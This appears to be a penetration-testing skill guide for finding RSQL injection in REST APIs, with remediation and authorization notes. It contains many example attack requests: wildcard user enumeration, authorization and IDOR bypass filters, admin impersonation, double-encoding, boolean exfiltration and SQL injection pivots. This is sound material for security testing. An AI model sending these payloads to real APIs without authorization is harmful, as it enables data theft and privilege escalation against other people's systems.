Hacktricks-skills rsql-injection-testing

Test REST APIs for RSQL injection vulnerabilities. Use this skill whenever you need to assess API endpoints for RSQL filter injection, including information leakage, authorization bypass, privilege escalation, and IDOR attacks. Trigger this skill when analyzing REST APIs with filter parameters, q parameters, or any query-based filtering in URLs.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/rsql-injection/SKILL.MD
source content

RSQL Injection Testing Skill

A comprehensive guide for testing REST APIs for RSQL (RESTful Query String) injection vulnerabilities.

What is RSQL Injection?

RSQL is a query language for parameterized filtering in RESTful APIs. When applications don't properly sanitize RSQL filters, attackers can inject malicious queries to:

  • Extract sensitive data beyond their access level
  • Bypass authorization controls
  • Escalate privileges by impersonating other users
  • Enumerate users and resources
  • Modify or delete data through crafted filters

When to Use This Skill

Use this skill when you encounter:

  • REST API endpoints with
    filter
    ,
    q
    , or similar query parameters
  • APIs using JSON:API, Spring Data REST, Elide, or similar frameworks
  • Endpoints that accept query-based filtering
  • Any situation where you need to test for filter injection vulnerabilities

Quick Start

1. Identify RSQL Endpoints

Look for these patterns in API URLs:

# Common RSQL parameter names
/api/users?filter=id==123
/api/products?q=category==electronics
/api/orders?filter[status]=active
/api/items?filter=price>100;category==electronics

Probe for RSQL support:

# Send harmless probes to detect RSQL parsing
GET /api/users?filter=id==test
GET /api/users?q=test
GET /api/users?filter=unknown_field==value

What to look for:

  • Parser errors like "Unknown operator" or "Unknown property"
  • Different response codes for valid vs invalid filters
  • Response size changes based on filter values

2. Test Basic Operators

RSQL supports these operators:

OperatorDescriptionExample
==
Equals
name==john
!=
Not equals
status!=inactive
>
/
=gt=
Greater than
price>100
<
/
=lt=
Less than
price<50
>=
/
=ge=
Greater or equal
age>=18
<=
/
=le=
Less or equal
score<=100
=q=
Contains (search)
name=q=john
=like=
Like pattern
name=like=*john*
=in=
In list
status=in=(active,pending)
=out=
Not in list
status=out=(deleted,archived)
=rng=
Range
createdAt=rng=(2024-01-01,2024-12-31)
;
/
and
AND operator
status==active;role==admin
,
/
or
OR operator
status==active,role==admin

3. Information Leakage Tests

User enumeration via email:

# Check if email exists
GET /api/registrations?filter[userAccounts]=email=='test@example.com'

# If vulnerable, may return user data instead of simple true/false
GET /api/registrations?filter[userAccounts]=email=='admin@company.com'

Wildcard enumeration:

# Enumerate users by email pattern
GET /api/users?filter[users]=email==*%@company.com

# Enumerate by status
GET /api/users?filter[users]=status==ACTIVE;email==*admin*

# Use OR to compare response sizes
GET /api/users?filter[users]=email==*a*,email==*b*

Range-based enumeration:

# Enumerate by date range
GET /api/users?filter[users]=createdAt=rng=(2024-01-01,2024-12-31)

# Enumerate by ID range
GET /api/users?filter[users]=id=rng=(1,1000)

4. Authorization Bypass Tests

Bypass access controls:

# Normal request (may return 403)
GET /api/users

# Try to bypass with wildcard filter
GET /api/users?filter[users]=id=in=(*a*)

# Try to access all users
GET /api/users?filter[users]=id!=null

# Try OR-based bypass
GET /api/users?filter[users]=id==1,id==2,id==3

Filter on related resources:

# Filter on nested properties
GET /api/orders?filter[orders]=customer.email==*admin*

# May bypass top-level ACLs
GET /api/companyUsers?filter[companyUsers]=user.id=='ADMIN_ID'

5. Privilege Escalation Tests

Enumerate admin users:

# Find users with admin role
GET /api/companyUsers?include=role&filter[companyUsers]=userRole.userRoleKey=='general.roles.admin'

# Find users by role ID
GET /api/companyUsers?filter[companyUsers]=userRole.userRoleId==1

Impersonate admin:

# After finding admin ID, use it to get admin permissions
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='ADMIN_ID'

6. IDOR and Impersonation Tests

Access other users' data:

# Normal profile request
GET /api/users?include=language,country

# Try to access another user
GET /api/users?include=language,country&filter[users]=id=='OTHER_USER_ID'

# Try to include sensitive fields
GET /api/users?include=language,country,password,token

Combine filters for IDOR:

# Bypass ownership checks
GET /api/orders?filter[orders]=customer.id=='OTHER_ID'

# Access restricted resources
GET /api/documents?filter[documents]=owner.id=='OTHER_ID'

7. Advanced Techniques

Double-encoding bypass:

# Some implementations double-parse URL parameters
GET /api/users?filter[users]=id=in=(%2528admin%2529)
# Decodes to: id=in=((admin))

Boolean exfiltration:

# Compare response sizes to extract data
GET /api/users?filter[users]=email==*a*@example.com
GET /api/users?filter[users]=email==*b*@example.com
# Different sizes indicate which pattern matches

Nested subqueries:

# Complex nested conditions
GET /api/products?filter=(category==electronics;price>100),(category==books;price>50)

Custom operators (framework-specific):

# Elide may have custom operators like =ilike=
GET /api/users?filter[users]=name=ilike='%%' OR 1=1--'

# May pivot to SQL injection in vulnerable implementations

8. Framework-Specific Tests

Elide / Spring Data REST:

# Test for SQLi via custom operators
GET /api/users?filter[users]=name=ilike='%%' OR 1=1--'

# Test @JoinFilter expressions
GET /api/users?filter[users]=customField=${7*7}

JSON:API:

# Filter on related resources
GET /api/orders?include=customer&filter[orders]=customer.email==*admin*

# May bypass top-level ACLs

Detection Checklist

  • Identify endpoints with filter/q parameters
  • Send harmless probes to confirm RSQL support
  • Test basic operators (==, !=, >, <, =in=, =out=)
  • Test logical operators (;, and, ,, or)
  • Attempt user enumeration with wildcards
  • Test authorization bypass with filters
  • Try privilege escalation via role filters
  • Test IDOR with user ID filters
  • Attempt double-encoding bypass
  • Test framework-specific vulnerabilities
  • Check for SQLi pivot opportunities

Reporting Findings

When documenting RSQL injection vulnerabilities:

  1. Endpoint: Full URL with vulnerable parameter
  2. Payload: Exact filter that caused the vulnerability
  3. Impact: What data was accessed or what control was bypassed
  4. Evidence: Request/response showing the vulnerability
  5. Remediation: Input validation, parameterized queries, proper authorization checks

Remediation Guidance

For developers fixing RSQL injection:

  1. Validate filter parameters: Whitelist allowed fields and operators
  2. Use parameterized queries: Never concatenate user input into queries
  3. Implement proper authorization: Check permissions before returning data
  4. Limit filter depth: Restrict nested subquery complexity
  5. Sanitize special characters: Escape or reject dangerous characters
  6. Use established libraries: Prefer well-maintained RSQL parsers with security features

Automation

Use the included scripts to automate RSQL testing:

# Generate test payloads
python scripts/rsql_payload_generator.py --endpoint /api/users --field email

# Quick fuzzing
bash scripts/rsql_fuzzer.sh http://target/api/users filter

References

Safety Notes

  • Only test APIs you have authorization to assess
  • Use rate limiting to avoid overwhelming target systems
  • Document all findings for responsible disclosure
  • Never use these techniques on production systems without permission